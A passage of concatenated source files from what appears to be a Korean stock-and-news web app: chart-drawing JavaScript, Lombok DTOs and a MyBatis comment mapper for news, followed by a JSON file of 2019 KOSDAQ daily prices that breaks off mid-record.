const daily_stock_volume = document.getElementsByClassName('daily_stock_volume');
const daily_stock_closing_price = document.getElementsByClassName('daily_stock_closing_price');
var last = document.getElementsByName('lastDay');
var lastDaily = document.getElementsByName('lastDayDaily');
for (i = 0; i < last.length; i++) {
if (last[i].value === '1' || last[i].value === '2') {
last[i].parentNode.classList.add("up");
} else if (last[i].value === '4' || last[i].value === '5') {
last[i].parentNode.classList.add("down");
}
}
for (i = 0; i < lastDaily.length; i++) {
if (lastDaily[i].value === '1' || lastDaily[i].value === '2') {
lastDaily[i].parentNode.classList.add("up");
} else if (lastDaily[i].value === '4' || lastDaily[i].value === '5') {
lastDaily[i].parentNode.classList.add("down");
}
}
function drawBarChart() {
var data = new google.visualization.DataTable();
data.addColumn('string', '일자')
data.addColumn('number', '거래량')
for (i = daily_stock_date.length - 1; i >= 0; i--) {
data.addRow([daily_stock_date[i].innerText, daily_stock_volume[i].innerText.replaceAll(",", "") * 1 ])
}
var options = {
title : '일자별 거래량',
legend : {
position : 'bottom'
},
textStyle : {
fontName : 'Noto Sans KR'
},
width : '100%',
height : 200,
colors : [ '#9d8c7c' ],
};
var chart = new google.visualization.ColumnChart(document.getElementById('stock_bar_chart'));
chart.draw(data, options);
window.addEventListener('resize', function() {
chart.draw(data, options);
}, false);
};
function drawLineChart() {
var data = new google.visualization.DataTable();
data.addColumn('string', '일자');
data.addColumn('number', '종가');
for (i = daily_stock_date.length - 1; i >= 0; i--) {
data.addRow([daily_stock_date[i].innerText,daily_stock_closing_price[i].innerText.replaceAll(",", "") * 1 ])
}
var options = {
legend : {
position : 'bottom'
},
textStyle : {
fontName : 'Noto Sans KR'
},
colors : [ '#9d8c7c' ],
width : '100%',
height : 350,
};
var chart = new google.visualization.LineChart(document .getElementById('stock_line_chart'));
chart.draw(data, options);
window.addEventListener('resize', function() {
chart.draw(data, options);
}, false);
};
// chart draw
function drawChart(){
google.charts.load('current', {'packages' : [ 'corechart' ]});
google.charts.setOnLoadCallback(drawLineChart);
google.charts.setOnLoadCallback(drawBarChart);
}
drawChart();
function drawNewChart(result){
var data = new google.visualization.DataTable();
data.addColumn('string', '일자');
data.addColumn('number', '종가');
for(i=1; i < result.length; i++){
// console.log(result[i].date.substring(2, result[i].date.length));
// console.log(result[i].close);
// console.log(typeof result[i].close);
data.addRow([result[i].date.substring(2, result[i].date.length), Number(result[i].close)]);
}
var options = {
legend : {
position : 'bottom'
},
textStyle : {
fontName : 'Noto Sans KR'
},
colors : [ '#9d8c7c' ],
width : '100%',
height : 350,
};
var chart = new google.visualization.LineChart(document .getElementById('stock_line_chart'));
chart.draw(data, options);
window.addEventListener('resize', function() {
chart.draw(data, options);
}, false);
}
function handleClick(event, term){
event.preventDefault();
$.ajax({
type:"GET",
url:"/stock/graph/data?code=" + CODE + "&term=" + term,
success:function(result, status, xhr){
google.charts.load('current', {'packages' : [ 'corechart' ]});
google.charts.setOnLoadCallback(drawNewChart(result));
// drawNewChart(result);
},
error:function(){
}
})
};
function init(){
days_btn.addEventListener("click", function(event){
const term = days_btn.value;
event.preventDefault();
drawChart();
});
month_btn.addEventListener("click", function(event){
const term = month_btn.value;
handleClick(event, term);
});
three_btn.addEventListener("click", function(event){
const term = three_btn.value;
handleClick(event, term);
});
six_btn.addEventListener("click", function(event){
const term = six_btn.value;
handleClick(event, term);
});
year_btn.addEventListener("click", function(event){
const term = year_btn.value;
handleClick(event, term);
});
};
init();
});<file_sep>/.svn/pristine/ce/ce06cb36d89fb13ea572f0ec33b6fe3513c8efb2.svn-base
package com.toojaatte.news.dto;
import lombok.Data;
@Data
public class NewsDTO {
private int nno;
private String url, press, title, content, write_date;
private int hit, rep_cnt, like_cnt;
}
<file_sep>/src/main/java/com/toojaatte/news/dto/News_repDTO.java
package com.toojaatte.news.dto;
import lombok.Data;
@Data
public class News_repDTO {
private int rno, nno, like_cnt, dislike_cnt;
private String content, write_date;
//댓글쓴사람 정보
private String id, photo, nickName;
}
<file_sep>/src/main/java/com/toojaatte/news/mapper/NewsCommentMapper.java
package com.toojaatte.news.mapper;
import java.util.List;
import java.util.Map;
import org.apache.ibatis.annotations.Param;
import com.toojaatte.news.dto.News_repDTO;
import com.toojaatte.news.dto.News_rep_likeDTO;
import com.toojaatte.util.page.PageObject;
public interface NewsCommentMapper {
public List<News_repDTO> nCommentList(Map<String, Object> map);
public int getTotalRow(@Param("nno") int nno, PageObject pageObject);
//★파라메터 여러개 넘길때는 @Param("이름") 지정해줘야 인식.(아니면 ibatis.binding.BindingException 오류)
public List<News_rep_likeDTO> myLikeList(@Param("nno") int nno, @Param("id") String id);
public int commentInsert(News_repDTO dto);
public int commentUpdate(News_repDTO dto);
public int commentDelete(int rno);
public int decreaseTotalRep(int rno);
//좋아요한적있는지 확인
public News_rep_likeDTO ifAlreadyLike(News_rep_likeDTO dto);
//db에서 좋아요/싫어요 삭제
public int cancelLike(News_rep_likeDTO dto);
//db에 좋아요0,싫어요1 추가
public int insertLike(News_rep_likeDTO dto);
//좋아요, 싫어요 총개수 1 증가, 감소
public int incTotalLike(News_rep_likeDTO dto);
public int incTotalDislike(News_rep_likeDTO dto);
public int decTotalLike(News_rep_likeDTO dto);
public int decTotalDislike(News_rep_likeDTO dto);
}
<file_sep>/src/main/webapp/upload/crawlingtest/kosdaq.json
{"schema":{"fields":[{"name":"Date","type":"datetime"},{"name":"Close","type":"number"},{"name":"Open","type":"number"},{"name":"High","type":"number"},{"name":"Low","type":"number"},{"name":"Volume","type":"number"},{"name":"Change","type":"number"}],"primaryKey":["Date"],"pandas_version":"0.20.0"},"data":[{"Date":"2019-01-02T00:00:00.000Z","Close":669.37,"Open":682.16,"High":683.09,"Low":667.71,"Volume":539450000.0,"Change":-0.0093},{"Date":"2019-01-03T00:00:00.000Z","Close":657.02,"Open":671.98,"High":673.61,"Low":656.85,"Volume":656330000.0,"Change":-0.0185},{"Date":"2019-01-04T00:00:00.000Z","Close":664.49,"Open":655.62,"High":664.49,"Low":648.95,"Volume":554450000.0,"Change":0.0114},{"Date":"2019-01-07T00:00:00.000Z","Close":672.84,"Open":672.76,"High":675.31,"Low":669.07,"Volume":584290000.0,"Change":0.0126},{"Date":"2019-01-08T00:00:00.000Z","Close":668.49,"Open":674.53,"High":675.05,"Low":667.01,"Volume":623520000.0,"Change":-0.0065},{"Date":"2019-01-09T00:00:00.000Z","Close":679.74,"Open":672.38,"High":681.12,"Low":671.95,"Volume":622020000.0,"Change":0.0168},{"Date":"2019-01-10T00:00:00.000Z","Close":683.34,"Open":680.61,"High":685.65,"Low":678.23,"Volume":735090000.0,"Change":0.0053},{"Date":"2019-01-11T00:00:00.000Z","Close":686.33,"Open":686.09,"High":688.01,"Low":683.59,"Volume":701510000.0,"Change":0.0044},{"Date":"2019-01-14T00:00:00.000Z","Close":683.09,"Open":687.42,"High":687.42,"Low":682.54,"Volume":613340000.0,"Change":-0.0047},{"Date":"2019-01-15T00:00:00.000Z","Close":690.39,"Open":684.97,"High":691.56,"Low":684.32,"Volume":639020000.0,"Change":0.0107},{"Date":"2019-01-16T00:00:00.000Z","Close":693.38,"Open":692.72,"High":693.5,"Low":687.43,"Volume":788310000.0,"Change":0.0043},{"Date":"2019-01-17T00:00:00.000Z","Close":686.35,"Open":694.94,"High":696.21,"Low":686.27,"Volume":862710000.0,"Change":-0.0101},{"Date":"2019-01-18T00:00:00.000Z","Close":696.34,"Open":690.83,"High":696.34,"Low":689.8,"Volume":819960000.0,"Change":0.0146},{"Date":"2019-01-21T00:00:00.000Z","Close":695.62,"Open":698.74,"High":698.74,"Low":692.95,"Volume":794340000.0,"Change":-0.001},{"Date":"2019-01-22T00:00:00.000Z","Close":694.55,"Open":698.0,"High":698.3,"Low":692.45,"Volume":794370000.0,"Change":-0.0015},{"Date":"2019-01-23T00:00:00.000Z","Close":695.63,"Open":691.5,"High":697.06,"Low":690.91,"Volume":683160000.0,"Change":0.0016},{"Date":"2019-01-24T00:00:00.000Z","Close":704.41,"Open":696.97,"High":704.78,"Low":696.8,"Volume":605760000.0,"Change":0.0126},{"Date":"2019-01-25T00:00:00.000Z","Close":711.38,"Open":705.66,"High":712.67,"Low":704.67,"Volume":631590000.0,"Change":0.0099},{"Date":"2019-01-28T00:00:00.000Z","Close":714.26,"Open":713.41,"High":717.31,"Low":711.96,"Volume":664270000.0,"Change":0.004},{"Date":"2019-01-29T00:00:00.000Z","Close":710.99,"Open":712.65,"High":713.65,"Low":705.89,"Volume":703390000.0,"Change":-0.0046},{"Date":"2019-01-30T00:00:00.000Z","Close":715.3,"Open":712.87,"High":716.77,"Low":711.71,"Volume":719240000.0,"Change":0.0061},{"Date":"2019-01-31T00:00:00.000Z","Close":716.86,"Open":719.93,"High":721.58,"Low":714.31,"Volume":684510000.0,"Change":0.0022},{"Date":"2019-02-01T00:00:00.000Z","Close":716.92,"Open":719.08,"High":719.74,"Low":714.66,"Volume":643320000.0,"Change":0.0001},{"Date":"2019-02-07T00:00:00.000Z","Close":728.79,"Open":719.86,"High":728.89,"Low":717.53,"Volume":713060000.0,"Change":0.0166},{"Date":"2019-02-08T00:00:00.000Z","Close":728.74,"Open":726.4,"High":729.74,"Low":724.99,"Volume":736600000.0,"Change":-0.0001},{"Date":"2019-02-11T00:00:00.000Z","Close":733.47,"Open":731.82,"High":733.94,"Low":730.32,"Volume":704620000.0,"Change":0.0065},{"Date":"2019-02-12T00:00:00.000Z","Close":730.58,"Open":734.87,"High":735.14,"Low":729.52,"Volume":692220000.0,"Change":-0.0039},{"Date":"2019-02-13T00:00:00.000Z","Close":739.91,"Open":734.56,"High":740.44,"Low":733.37,"Volume":798620000.0,"Change":0.0128},{"Date":"2019-02-14T00:00:00.000Z","Close":742.27,"Open":740.69,"High":742.46,"Low":737.07,"Volume":738310000.0,"Change":0.0032},{"Date":"2019-02-15T00:00:00.000Z","Close":738.66,"Open":741.53,"High":743.2,"Low":734.37,"Volume":738000000.0,"Change":-0.0049},{"Date":"2019-02-18T00:00:00.000Z","Close":745.33,"Open":743.53,"High":746.81,"Low":742.5,"Volume":734380000.0,"Change":0.009},{"Date":"2019-02-19T00:00:00.000Z","Close":748.05,"Open":746.5,"High":748.69,"Low":741.2,"Volume":793920000.0,"Change":0.0036},{"Date":"2019-02-20T00:00:00.000Z","Close":750.69,"Open":749.52,"High":751.66,"Low":747.56,"Volume":885290000.0,"Change":0.0035},{"Date":"2019-02-21T00:00:00.000Z","Close":747.33,"Open":752.3,"High":752.75,"Low":744.87,"Volume":956550000.0,"Change":-0.0045},{"Date":"2019-02-22T00:00:00.000Z","Close":743.38,"Open":747.25,"High":748.11,"Low":740.94,"Volume":965510000.0,"Change":-0.0053},{"Date":"2019-02-25T00:00:00.000Z","Close":750.4,"Open":746.79,"High":750.93,"Low":746.3,"Volume":735840000.0,"Change":0.0094},{"Date":"2019-02-26T00:00:00.000Z","Close":747.09,"Open":752.25,"High":753.66,"Low":746.12,"Volume":956640000.0,"Change":-0.0044},{"Date":"2019-02-27T00:00:00.000Z","Close":752.16,"Open":748.11,"High":752.16,"Low":747.16,"Volume":921720000.0,"Change":0.0068},{"Date":"2019-02-28T00:00:00.000Z","Close":731.25,"Open":753.29,"High":755.92,"Low":731.25,"Volume":1020000000.0,"Change":-0.0278},{"Date":"2019-03-04T00:00:00.000Z","Close":748.07,"Open":739.19,"High":748.87,"Low":739.19,"Volume":707580000.0,"Change":0.023},{"Date":"2019-03-05T00:00:00.000Z","Close":747.95,"Open":746.9,"High":751.45,"Low":743.8,"Volume":753410000.0,"Change":-0.0002},{"Date":"2019-03-06T00:00:00.000Z","Close":746.7,"Open":750.13,"High":750.81,"Low":741.68,"Volume":846990000.0,"Change":-0.0017},{"Date":"2019-03-07T00:00:00.000Z","Close":736.83,"Open":746.21,"High":750.13,"Low":733.49,"Volume":897290000.0,"Change":-0.0132},{"Date":"2019-03-08T00:00:00.000Z","Close":735.97,"Open":733.38,"High":739.59,"Low":730.42,"Volume":871230000.0,"Change":-0.0012},{"Date":"2019-03-11T00:00:00.000Z","Close":739.09,"Open":737.27,"High":739.1,"Low":726.11,"Volume":686950000.0,"Change":0.0042},{"Date":"2019-03-12T00:00:00.000Z","Close":754.76,"Open":745.76,"High":754.76,"Low":745.76,"Volume":792770000.0,"Change":0.0212},{"Date":"2019-03-13T00:00:00.000Z","Close":754.89,"Open":755.3,"High":758.9,"Low":750.49,"Volume":797150000.0,"Change":0.0002},{"Date":"2019-03-14T00:00:00.000Z","Close":755.42,"Open":758.53,"High":762.41,"Low":755.42,"Volume":643980000.0,"Change":0.0007},{"Date":"2019-03-15T00:00:00.000Z","Close":748.36,"Open":756.82,"High":757.29,"Low":743.34,"Volume":881370000.0,"Change":-0.0093},{"Date":"2019-03-18T00:00:00.000Z","Close":753.13,"Open":752.15,"High":755.89,"Low":748.7,"Volume":705220000.0,"Change":0.0064},{"Date":"2019-03-19T00:00:00.000Z","Close":748.91,"Open":757.07,"High":757.88,"Low":748.76,"Volume":984690000.0,"Change":-0.0056},{"Date":"2019-03-20T00:00:00.000Z","Close":749.76,"Open":750.5,"High":750.5,"Low":741.25,"Volume":880130000.0,"Change":0.0011},{"Date":"2019-03-21T00:00:00.000Z","Close":743.52,"Open":750.79,"High":753.98,"Low":742.03,"Volume":795560000.0,"Change":-0.0083},{"Date":"2019-03-22T00:00:00.000Z","Close":743.97,"Open":747.87,"High":748.05,"Low":741.03,"Volume":752360000.0,"Change":0.0006},{"Date":"2019-03-25T00:00:00.000Z","Close":727.21,"Open":733.51,"High":737.22,"Low":726.93,"Volume":696280000.0,"Change":-0.0225},{"Date":"2019-03-26T00:00:00.000Z","Close":736.81,"Open":732.76,"High":737.5,"Low":729.22,"Volume":656380000.0,"Change":0.0132},{"Date":"2019-03-27T00:00:00.000Z","Close":728.45,"Open":739.22,"High":739.22,"Low":728.43,"Volume":748820000.0,"Change":-0.0113},{"Date":"2019-03-28T00:00:00.000Z","Close":719.72,"Open":727.7,"High":728.56,"Low":719.72,"Volume":695540000.0,"Change":-0.012},{"Date":"2019-03-29T00:00:00.000Z","Close":729.31,"Open":723.64,"High":729.31,"Low":714.53,"Volume":779260000.0,"Change":0.0133},{"Date":"2019-04-01T00:00:00.000Z","Close":736.81,"Open":731.5,"High":737.69,"Low":729.74,"Volume":704760000.0,"Change":0.0103},{"Date":"2019-04-02T00:00:00.000Z","Close":739.57,"Open":740.94,"High":740.94,"Low":737.18,"Volume":955940000.0,"Change":0.0037},{"Date":"2019-04-03T00:00:00.000Z","Close":749.3,"Open":741.76,"High":749.3,"Low":740.73,"Volume":807520000.0,"Change":0.0132},{"Date":"2019-04-04T00:00:00.000Z","Close":751.58,"Open":750.9,"High":753.39,"Low":746.29,"Volume":879690000.0,"Change":0.003},{"Date":"2019-04-05T00:00:00.000Z","Close":751.71,"Open":752.28,"High":753.97,"Low":748.79,"Volume":788490000.0,"Change":0.0002},{"Date":"2019-04-08T00:00:00.000Z","Close":751.92,"Open":755.32,"High":756.16,"Low":750.02,"Volume":762370000.0,"Change":0.0003},{"Date":"2019-04-09T00:00:00.000Z","Close":756.81,"Open":753.72,"High":756.92,"Low":749.87,"Volume":836570000.0,"Change":0.0065},{"Date":"2019-04-10T00:00:00.000Z","Close":760.15,"Open":755.73,"High":760.15,"Low":754.05,"Volume":744530000.0,"Change":0.0044},{"Date":"2019-04-11T00:00:00.000Z","Close":766.49,"Open":762.15,"High":766.56,"Low":762.13,"Volume":760870000.0,"Change":0.0083},{"Date":"2019-04-12T00:00:00.000Z","Close":767.85,"Open":765.6,"High":769.09,"Low":762.99,"Volume":926530000.0,"Change":0.0018},{"Date":"2019-04-15T00:00:00.000Z","Close":766.75,"Open":770.63,"High":770.66,"Low":765.62,"Volume":951960000.0,"Change":-0.0014},{"Date":"2019-04-16T00:00:00.000Z","Close":765.02,"Open":767.59,"High":767.73,"Low":758.69,"Volume":979260000.0,"Change":-0.0023},{"Date":"2019-04-17T00:00:00.000Z","Close":766.89,"Open":766.7,"High":768.43,"Low":765.36,"Volume":1060000000.0,"Change":0.0024},{"Date":"2019-04-18T00:00:00.000Z","Close":753.52,"Open":767.74,"High":767.85,"Low":751.59,"Volume":904450000.0,"Change":-0.0174},{"Date":"2019-04-19T00:00:00.000Z","Close":762.57,"Open":757.42,"High":762.95,"Low":757.35,"Volume":773550000.0,"Change":0.012},{"Date":"2019-04-22T00:00:00.000Z","Close":762.01,"Open":764.37,"High":767.02,"Low":760.02,"Volume":691820000.0,"Change":-0.0007},{"Date":"2019-04-23T00:00:00.000Z","Close":761.42,"Open":763.58,"High":764.48,"Low":756.77,"Volume":895100000.0,"Change":-0.0008},{"Date":"2019-04-24T00:00:00.000Z","Close":757.82,"Open":765.0,"High":765.02,"Low":755.93,"Volume":886600000.0,"Change":-0.0047},{"Date":"2019-04-25T00:00:00.000Z","Close":750.43,"Open":757.64,"High":757.64,"Low":750.43,"Volume":946890000.0,"Change":-0.0098},{"Date":"2019-04-26T00:00:00.000Z","Close":741.0,"Open":748.3,"High":750.23,"Low":739.84,"Volume":865150000.0,"Change":-0.0126},{"Date":"2019-04-29T00:00:00.000Z","Close":750.6,"Open":744.01,"High":750.6,"Low":742.43,"Volume":754660000.0,"Change":0.013},{"Date":"2019-04-30T00:00:00.000Z","Close":754.74,"Open":751.4,"High":755.11,"Low":746.42,"Volume":671040000.0,"Change":0.0055},{"Date":"2019-05-02T00:00:00.000Z","Close":760.38,"Open":753.51,"High":760.94,"Low":753.43,"Volume":779400000.0,"Change":0.0075},{"Date":"2019-05-03T00:00:00.000Z","Close":761.82,"Open":761.13,"High":762.72,"Low":758.42,"Volume":701320000.0,"Change":0.0019},{"Date":"2019-05-07T00:00:00.000Z","Close":753.45,"Open":751.26,"High":757.97,"Low":749.27,"Volume":728050000.0,"Change":-0.011},{"Date":"2019-05-08T00:00:00.000Z","Close":745.37,"Open":745.86,"High":751.55,"Low":745.36,"Volume":922680000.0,"Change":-0.0107},{"Date":"2019-05-09T00:00:00.000Z","Close":724.22,"Open":746.96,"High":747.96,"Low":722.6,"Volume":992090000.0,"Change":-0.0284},{"Date":"2019-05-10T00:00:00.000Z","Close":722.62,"Open":726.06,"High":729.84,"Low":712.15,"Volume":916490000.0,"Change":-0.0022},{"Date":"2019-05-13T00:00:00.000Z","Close":708.8,"Open":722.19,"High":724.78,"Low":708.77,"Volume":916430000.0,"Change":-0.0191},{"Date":"2019-05-14T00:00:00.000Z","Close":710.16,"Open":698.86,"High":714.8,"Low":698.3,"Volume":1070000000.0000001192,"Change":0.0019},{"Date":"2019-05-15T00:00:00.000Z","Close":729.6,"Open":714.94,"High":729.63,"Low":713.49,"Volume":859430000.0,"Change":0.0274},{"Date":"2019-05-16T00:00:00.000Z","Close":717.59,"Open":731.09,"High":731.78,"Low":716.68,"Volume":911750000.0,"Change":-0.0165},{"Date":"2019-05-17T00:00:00.000Z","Close":714.13,"Open":723.94,"High":727.56,"Low":713.94,"Volume":783630000.0,"Change":-0.0048},{"Date":"2019-05-20T00:00:00.000Z","Close":702.08,"Open":717.12,"High":719.57,"Low":701.76,"Volume":733170000.0,"Change":-0.0169},{"Date":"2019-05-21T00:00:00.000Z","Close":703.98,"Open":701.83,"High":708.16,"Low":700.0,"Volume":792040000.0,"Change":0.0027},{"Date":"2019-05-22T00:00:00.000Z","Close":706.93,"Open":709.38,"High":710.46,"Low":702.25,"Volume":723700000.0,"Change":0.0042},{"Date":"2019-05-23T00:00:00.000Z","Close":696.89,"Open":707.74,"High":707.95,"Low":696.88,"Volume":902830000.0,"Change":-0.0142},{"Date":"2019-05-24T00:00:00.000Z","Close":690.03,"Open":694.02,"High":696.75,"Low":686.72,"Volume":862120000.0,"Change":-0.0098},{"Date":"2019-05-27T00:00:00.000Z","Close":689.67,"Open":692.06,"High":696.3,"Low":684.07,"Volume":782620000.0,"Change":-0.0005},{"Date":"2019-05-28T00:00:00.000Z","Close":702.76,"Open":691.55,"High":702.76,"Low":690.78,"Volume":723960000.0,"Change":0.019},{"Date":"2019-05-29T00:00:00.000Z","Close":691.47,"Open":699.12,"High":699.53,"Low":689.9,"Volume":849780000.0,"Change":-0.0161},{"Date":"2019-05-30T00:00:00.000Z","Close":689.33,"Open":692.6,"High":696.45,"Low":685.31,"Volume":669460000.0,"Change":-0.0031},{"Date":"2019-05-31T00:00:00.000Z","Close":696.47,"Open":688.7,"High":699.4,"Low":687.71,"Volume":642150000.0,"Change":0.0104},{"Date":"2019-06-03T00:00:00.000Z","Close":697.5,"Open":693.26,"High":698.35,"Low":691.8,"Volume":643040000.0,"Change":0.0015},{"Date":"2019-06-04T00:00:00.000Z","Close":702.53,"Open":699.12,"High":702.53,"Low":697.2,"Volume":657090000.0,"Change":0.0072},{"Date":"2019-06-05T00:00:00.000Z","Close":707.75,"Open":709.07,"High":710.11,"Low":706.76,"Volume":616920000.0,"Change":0.0074},{"Date":"2019-06-07T00:00:00.000Z","Close":716.53,"Open":711.77,"High":716.56,"Low":708.73,"Volume":723220000.0,"Change":0.0124},{"Date":"2019-06-10T00:00:00.000Z","Close":721.14,"Open":721.12,"High":721.5,"Low":717.08,"Volume":763020000.0,"Change":0.0064},{"Date":"2019-06-11T00:00:00.000Z","Close":728.79,"Open":723.61,"High":728.79,"Low":722.51,"Volume":897030000.0,"Change":0.0106},{"Date":"2019-06-12T00:00:00.000Z","Close":724.32,"Open":729.06,"High":729.06,"Low":721.91,"Volume":724080000.0,"Change":-0.0061},{"Date":"2019-06-13T00:00:00.000Z","Close":726.68,"Open":724.57,"High":730.86,"Low":721.87,"Volume":839460000.0,"Change":0.0033},{"Date":"2019-06-14T00:00:00.000Z","Close":722.25,"Open":729.39,"High":729.39,"Low":721.44,"Volume":843440000.0,"Change":-0.0061},{"Date":"2019-06-17T00:00:00.000Z","Close":719.13,"Open":723.52,"High":723.9,"Low":718.62,"Volume":757970000.0,"Change":-0.0043},{"Date":"2019-06-18T00:00:00.000Z","Close":714.86,"Open":721.25,"High":723.79,"Low":713.17,"Volume":1050000000.0,"Change":-0.0059},{"Date":"2019-06-19T00:00:00.000Z","Close":717.71,"Open":721.66,"High":722.66,"Low":714.98,"Volume":979440000.0,"Change":0.004},{"Date":"2019-06-20T00:00:00.000Z","Close":727.32,"Open":719.54,"High":727.34,"Low":719.31,"Volume":1000000000.0,"Change":0.0134},{"Date":"2019-06-21T00:00:00.000Z","Close":722.64,"Open":729.2,"High":729.2,"Low":721.96,"Volume":1100000000.0,"Change":-0.0064},{"Date":"2019-06-24T00:00:00.000Z","Close":717.69,"Open":725.04,"High":725.05,"Low":717.22,"Volume":923990000.0,"Change":-0.0068},{"Date":"2019-06-25T00:00:00.000Z","Close":710.02,"Open":719.03,"High":720.06,"Low":707.64,"Volume":1060000000.0,"Change":-0.0107},{"Date":"2019-06-26T00:00:00.000Z","Close":709.37,"Open":710.15,"High":713.57,"Low":706.44,"Volume":981440000.0,"Change":-0.0009},{"Date":"2019-06-27T00:00:00.000Z","Close":698.21,"Open":711.18,"High":713.14,"Low":694.53,"Volume":909980000.0,"Change":-0.0157},{"Date":"2019-06-28T00:00:00.000Z","Close":690.53,"Open":698.63,"High":700.42,"Low":687.29,"Volume":784770000.0,"Change":-0.011},{"Date":"2019-07-01T00:00:00.000Z","Close":696.0,"Open":696.38,"High":697.97,"Low":692.76,"Volume":734430000.0,"Change":0.0079},{"Date":"2019-07-02T00:00:00.000Z","Close":696.25,"Open":695.8,"High":699.44,"Low":693.19,"Volume":696440000.0,"Change":0.0004},{"Date":"2019-07-03T00:00:00.000Z","Close":693.04,"Open":697.68,"High":698.89,"Low":689.86,"Volume":676300000.0,"Change":-0.0046},{"Date":"2019-07-04T00:00:00.000Z","Close":691.27,"Open":693.96,"High":694.63,"Low":682.73,"Volume":763520000.0,"Change":-0.0026},{"Date":"2019-07-05T00:00:00.000Z","Close":694.17,"Open":692.86,"High":694.39,"Low":686.93,"Volume":729810000.0,"Change":0.0042},{"Date":"2019-07-08T00:00:00.000Z","Close":668.72,"Open":691.97,"High":691.97,"Low":668.72,"Volume":766600000.0,"Change":-0.0367},{"Date":"2019-07-09T00:00:00.000Z","Close":657.8,"Open":670.76,"High":675.09,"Low":657.77,"Volume":879150000.0,"Change":-0.0163},{"Date":"2019-07-10T00:00:00.000Z","Close":666.9,"Open":662.3,"High":670.68,"Low":660.62,"Volume":774830000.0,"Change":0.0138},{"Date":"2019-07-11T00:00:00.000Z","Close":677.09,"Open":669.98,"High":677.11,"Low":668.42,"Volume":791150000.0,"Change":0.0153},{"Date":"2019-07-12T00:00:00.000Z","Close":681.17,"Open":677.87,"High":682.65,"Low":673.76,"Volume":735650000.0,"Change":0.006},{"Date":"2019-07-15T00:00:00.000Z","Close":674.79,"Open":682.36,"High":682.36,"Low":671.71,"Volume":715660000.0,"Change":-0.0094},{"Date":"2019-07-16T00:00:00.000Z","Close":674.42,"Open":675.67,"High":679.69,"Low":672.77,"Volume":824280000.0,"Change":-0.0005},{"Date":"2019-07-17T00:00:00.000Z","Close":666.28,"Open":673.08,"High":673.34,"Low":661.93,"Volume":901090000.0,"Change":-0.0121},{"Date":"2019-07-18T00:00:00.000Z","Close":665.15,"Open":665.09,"High":669.47,"Low":661.82,"Volume":837120000.0,"Change":-0.0017},{"Date":"2019-07-19T00:00:00.000Z","Close":674.06,"Open":668.2,"High":674.06,"Low":668.2,"Volume":756210000.0,"Change":0.0134},{"Date":"2019-07-22T00:00:00.000Z","Close":674.78,"Open":674.0,"High":675.48,"Low":671.44,"Volume":644960000.0,"Change":0.0011},{"Date":"2019-07-23T00:00:00.000Z","Close":668.65,"Open":675.84,"High":678.27,"Low":666.79,"Volume":894110000.0,"Change":-0.0091},{"Date":"2019-07-24T00:00:00.000Z","Close":659.83,"Open":670.31,"High":672.36,"Low":659.26,"Volume":971450000.0,"Change":-0.0132},{"Date":"2019-07-25T00:00:00.000Z","Close":652.4,"Open":660.3,"High":661.62,"Low":647.38,"Volume":871060000.0,"Change":-0.0113},{"Date":"2019-07-26T00:00:00.000Z","Close":644.59,"Open":650.3,"High":652.38,"Low":640.43,"Volume":886280000.0,"Change":-0.012},{"Date":"2019-07-29T00:00:00.000Z","Close":618.78,"Open":643.34,"High":643.34,"Low":618.78,"Volume":795260000.0,"Change":-0.04},{"Date":"2019-07-30T00:00:00.000Z","Close":625.64,"Open":620.33,"High":630.61,"Low":620.33,"Volume":716180000.0,"Change":0.0111},{"Date":"2019-07-31T00:00:00.000Z","Close":630.18,"Open":625.05,"High":631.43,"Low":610.7,"Volume":770560000.0,"Change":0.0073},{"Date":"2019-08-01T00:00:00.000Z","Close":622.26,"Open":627.94,"High":634.44,"Low":622.25,"Volume":694240000.0,"Change":-0.0126},{"Date":"2019-08-02T00:00:00.000Z","Close":615.7,"Open":612.01,"High":622.36,"Low":607.01,"Volume":601250000.0,"Change":-0.0105},{"Date":"2019-08-05T00:00:00.000Z","Close":569.79,"Open":614.69,"High":615.23,"Low":569.78,"Volume":821180000.0,"Change":-0.0746},{"Date":"2019-08-06T00:00:00.000Z","Close":551.5,"Open":555.07,"High":577.51,"Low":540.83,"Volume":973680000.0,"Change":-0.0321},{"Date":"2019-08-07T00:00:00.000Z","Close":564.64,"Open":562.47,"High":567.52,"Low":554.18,"Volume":835980000.0,"Change":0.0238},{"Date":"2019-08-08T00:00:00.000Z","Close":585.44,"Open":571.59,"High":585.44,"Low":571.0,"Volume":929190000.0,"Change":0.0368},{"Date":"2019-08-09T00:00:00.000Z","Close":590.04,"Open":590.51,"High":593.28,"Low":585.94,"Volume":690850000.0,"Change":0.0079},{"Date":"2019-08-12T00:00:00.000Z","Close":594.17,"Open":590.43,"High":594.7,"Low":585.07,"Volume":707420000.0,"Change":0.007},{"Date":"2019-08-13T00:00:00.000Z","Close":590.75,"Open":589.71,"High":593.98,"Low":588.47,"Volume":755900000.0,"Change":-0.0058},{"Date":"2019-08-14T00:00:00.000Z","Close":597.15,"Open":600.35,"High":601.46,"Low":596.23,"Volume":793560000.0,"Change":0.0108},{"Date":"2019-08-16T00:00:00.000Z","Close":591.57,"Open":590.04,"High":592.82,"Low":587.49,"Volume":684050000.0,"Change":-0.0093},{"Date":"2019-08-19T00:00:00.000Z","Close":594.65,"Open":596.42,"High":597.59,"Low":591.21,"Volume":706960000.0,"Change":0.0052},{"Date":"2019-08-20T00:00:00.000Z","Close":607.01,"Open":597.15,"High":607.87,"Low":595.62,"Volume":914620000.0,"Change":0.0208},{"Date":"2019-08-21T00:00:00.000Z","Close":615.96,"Open":605.83,"High":615.96,"Low":604.83,"Volume":821040000.0,"Change":0.0147},{"Date":"2019-08-22T00:00:00.000Z","Close":612.25,"Open":618.34,"High":618.73,"Low":611.67,"Volume":850920000.0,"Change":-0.006},{"Date":"2019-08-23T00:00:00.000Z","Close":608.98,"Open":606.28,"High":612.63,"Low":605.93,"Volume":706440000.0,"Change":-0.0053},{"Date":"2019-08-26T00:00:00.000Z","Close":582.91,"Open":594.25,"High":598.08,"Low":582.77,"Volume":711380000.0,"Change":-0.0428},{"Date":"2019-08-27T00:00:00.000Z","Close":588.32,"Open":592.38,"High":596.43,"Low":587.42,"Volume":651150000.0,"Change":0.0093},{"Date":"2019-08-28T00:00:00.000Z","Close":602.9,"Open":590.67,"High":602.9,"Low":590.36,"Volume":698490000.0,"Change":0.0248},{"Date":"2019-08-29T00:00:00.000Z","Close":599.57,"Open":604.19,"High":605.39,"Low":595.26,"Volume":681490000.0,"Change":-0.0055},{"Date":"2019-08-30T00:00:00.000Z","Close":610.55,"Open":607.14,"High":611.11,"Low":606.65,"Volume":787580000.0,"Change":0.0183},{"Date":"2019-09-02T00:00:00.000Z","Close":619.81,"Open":609.46,"High":619.9,"Low":608.97,"Volume":683770000.0,"